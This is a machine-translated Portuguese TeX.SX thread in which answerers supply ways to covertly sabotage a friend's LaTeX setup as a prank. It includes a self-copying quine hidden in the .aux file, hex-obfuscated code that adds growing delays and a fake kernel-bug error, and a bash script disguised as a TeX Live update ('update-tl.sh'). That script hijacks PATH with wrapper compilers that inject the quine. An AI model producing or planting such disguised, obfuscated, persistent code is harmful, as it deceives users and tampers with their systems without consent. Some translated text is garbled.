Perguntas sobre trolling de código/pegadinha para TeX.SX?

Perguntas sobre trolling de código/pegadinha para TeX.SX?

Tenho um amigo que me usa para suporte ao LaTeX. Ele não é muito experiente em tecnologia, mas gosta de LaTeX e então eu o ajudo quando algo que ele precisa fazer requer mais do que o estoque padrão de macros e ambientes.

Gostamos de pregar peças um no outro. Eu tive a ideia de fazer uma pegadinha com ele na próxima vez que ele pedir ajuda ao LaTeX, fazendo algo relativamente benigno e facilmente reversível que alteraria visivelmente o PDF gerado --- ou fazer algo perceptível no uso normal do (La)TeX, comoprolongando a compilação--- de uma forma indesejada, onde a origem do problema seria difícil de detectar (então seria um caso de trollagem de código, suponho). Porém, eu não sou muito bom em LaTeX e pensei em pedir sugestões criativas aos TeXperts.

Como posso causar dificuldades relacionadas ao (La)TeX para meu amigo?

Responder1

Adicione ao auxarquivo o seguinte trecho de código, que é um quine. Quando o auxarquivo está \inputno início de uma execução do LaTeX, o código aqui irá construir uma cópia de si mesmo e gravá-la no auxarquivo para a próxima execução. Além disso, ele executará o código contido \toks2abaixo. Por exemplo, o código que escolhi aumenta o tamanho do recuo em cada parágrafo, mas apenas se o TeX for executado em um minuto ímpar: os resultados dependem de quando seu amigo compila.

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \advance\parindent 2pt\relax
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

Após uma execução, o auxarquivo conterá a seguinte versão condensada (em uma única linha)

{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }

e as execuções subsequentes deixarão a mesma versão condensada (novamente em uma linha).

Vamos ver o que acontece em detalhes: dentro de um grupo (simples), o registrador do token \toks@é definido com algum valor e então seu conteúdo é usado. O que esses conteúdos fazem? Existe um teste para verificar se estamos lendo o arquivo aux no início ou no final da execução: \@nodocumenté \relaxno segundo caso e não fazemos nada. Em seguida, o registro toks \toks2é definido com o código que você realmente deseja executar. A \edef\x{...}\xconstrução a seguir expande o ...para

\AtBeginDocument{%
  <contents of \toks2>\relax
  \toks@{<contents of \toks@>}%
  \immediate\write\@auxout{%
    {%
      \toks@{\the\toks@}%
      \noexpand\the\toks@
    }% end of brace group
  }% end of \immediate\write\@auxout
}% end of \AtBeginDocument

em seguida, executa esse código. \AtBeginDocumentirá executar seu argumento um pouco mais tarde, quando o LaTeX estiver novamente pronto para escrever no auxarquivo (atualmente ele o está lendo). Assim, quando o LaTeX estiver pronto para gravar no auxarquivo, ele executa seu código (que foi armazenado temporariamente em \toks2), depois armazena o <contents of \toks@>registro de volta \toks@(esse registro de token pode ter sido usado por outro código intermediário) e grava o seguinte no auxarquivo (lembre-se que \writeexpande):

{%
  \toks@{<contents of \toks@>}%
  \the\toks@
}% end of brace group

Este é precisamente o código original, que acaba no auxarquivo para a próxima execução do LaTeX.

Esperançosamente, o código que escolhi inserir \toks2é fácil de seguir:

\ifodd\time
  \everypar\expandafter{%
    \the\everypar
    \advance\parindent 2pt\relax
  }%
\fi

se o tempo (em minutos desde o início do dia) for um número ímpar, então, a cada parágrafo, faça o que já foi feito em cada parágrafo e também avance (aumente) o recuo do parágrafo ( \parindent) em 2 pontos. Por exemplo, digamos que você adicione o primeiro ou o segundo trechos de código acima ao auxarquivo gerado pela execução pdflatexdo documento abaixo. Então o documento será normal se compilado em um minuto par e, caso contrário, terá um recuo de parágrafo cada vez maior.

\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}

Responder2

Compilar com LuaLaTeX

\documentclass{article}

\usepackage{lipsum}

^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20

\begin{document}
\lipsum[1]
\end{document}

Além disso, \randomerrorem vez de \randomuclcpode ser legal.

insira a descrição da imagem aqui

Responder3

Por favor, siga as instruções após cada corrida, você pode estar no caminho certo:)

Para quem não se atreveu a tentar, o que ele faz é produzir uma mensagem de erro (aqui de um buffer de ajuda do emacs tex), onde o número da página é aleatório:

ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2

--- TeX said ---
 Re-run LaTeX at least three times to give a chance to the kernel
 to re-examine this intriguing problem.
 You may have encountered one of the $1,000,000 kernel bug.

See the LaTeX manual or LaTeX Companion for explanation.
Type  H <return>  for immediate help.
 ...                                              

l.49 \end{document}

--- HELP ---
From the .log file...

You're in trouble here.  Try typing  <return>  to proceed.
If that doesn't work, type  X <return>  to quit.

e além disso esta mensagem aparece após atrasos cada vez maiores no final de cada nova compilação (o tempo de compilação é da ordem de n^2/2segundos onde né o número de execuções anteriores).

A conversão hexadecimal para ofuscar o código é um pouco longa, talvez seja possível usar números hexa apenas para ofuscar \inputonde o arquivo conteria o código abaixo.

\documentclass{article}
\usepackage{lipsum}

^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72

\begin{document}
\lipsum[1-50]

\end{document}

O código hexa (com espaços vindos do final das linhas) não

\makeatletter\AtEndDocument{%
  \@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
  \immediate\write\@auxout 
                {\gdef\noexpand\@kernelpanictime{%
                  \the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
                  65536\relax}}% 
  \pdfresettimer
                \loop
                  \ifnum\pdfelapsedtime<\@kernelpanictime\space
                \repeat
  \@latex@error{I'm stymied; problem of unknown type  on page
  \pdfuniformdeviate 10 ^^J
  Re-run LaTeX at least three times to give a chance to the kernel^^J
  to re-examine this intriguing problem.^^J
  You may have encountered one of the \string$1,000,000 kernel bug}\@ehd 
}\makeatother

Responder4

Postado como resposta em vez de comentário porque o código é muito longo. Baseado na resposta de Bruno Le Floch, com uma pequena reviravolta sugerida por egreg no chat.

Adicione isto ao seu aux:

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \ifdefined\pdf@elapsedtime
              \ifodd\pdf@elapsedtime
                \advance\parindent 2pt\relax
              \else
                \advance\parindent -2pt\relax
              \fi
            \else
              \advance\parindent 2pt\relax
            \fi
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

Se você compilar isso com pdflatex(ou lualatexcom o pdftexcmdspacote carregado) a alteração \parindentfor revertida a cada segundo durante a compilação, qualquer outro compilador produzirá o mesmo que o código do Bruno.


As coisas poderiam ficar piores do que isso? Ah, sim, eles podem! Em vez de editar o arquivo aux diretamente (o que seria desfeito por uma limpeza do diretório de compilação), vamos ajustar um pouco os executáveis.

NOTA: Como Daniel mencionou nos comentários abaixo, trollar pessoas não qualificadas é realmente cruel, então use um pouco de bom senso para julgar quem poderia entender o que está acontecendo olhando mais de perto.Além disso, não assumo nenhuma responsabilidade por amigos perdidos ou desconfiança permanente em relação aos scripts que você envia ;)

Da próxima vez que seu amigo pedir algum apoio, envie-lhe este arquivo como update-tl.sh:

#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases

Infelizmente, isso só funciona no Linux e provavelmente é facilmente quebrado adicionando caminhos completos ou argumentos extras ao pdflatex, mas a ideia geral é a seguinte:

  • Obtenha a localização dos executáveis ​​originais
  • crie um diretório para armazenar os executáveis ​​'atualizados'
  • crie vários arquivos, com as permissões adequadas para executar
  • em cada arquivo verifique se o arquivo aux já existe, e caso contrário crie-o com o código acima
  • então deixe o novo script chamar o executável antigo para construir a saída, com o arquivo aux potencialmente alterado
  • finalmente adicione este novo diretório à variável de ambiente $PATH

Algumas curiosidades:

  • isso só funciona se bashfor usado, caso contrário, ~/.bashrcnão é usado
  • o código só é adicionado se o arquivo aux ainda não existir
  • ele só funciona após ~/.bashrca origem, portanto, após um novo login ou uma nova janela de terminal ser aberta

EDITARAinda mais curiosidades:

  • running which pdflatexretorna o original pdflatex, enquanto pdflatex test.texna verdade executa o novopdflatex
  • em um sistema multiusuário, isso afeta apenas o usuário que executa oupdate-tl.sh
  • nada é quebrado permanentemente, simplesmente remover os [pdf|lua|xe]latexscripts ~/.tex-updatese os arquivos aux traz tudo de volta ao normal :) (ao contrário da minha ideia original de alterar os executáveis ​​​​dentro do bindiretório: P)

informação relacionada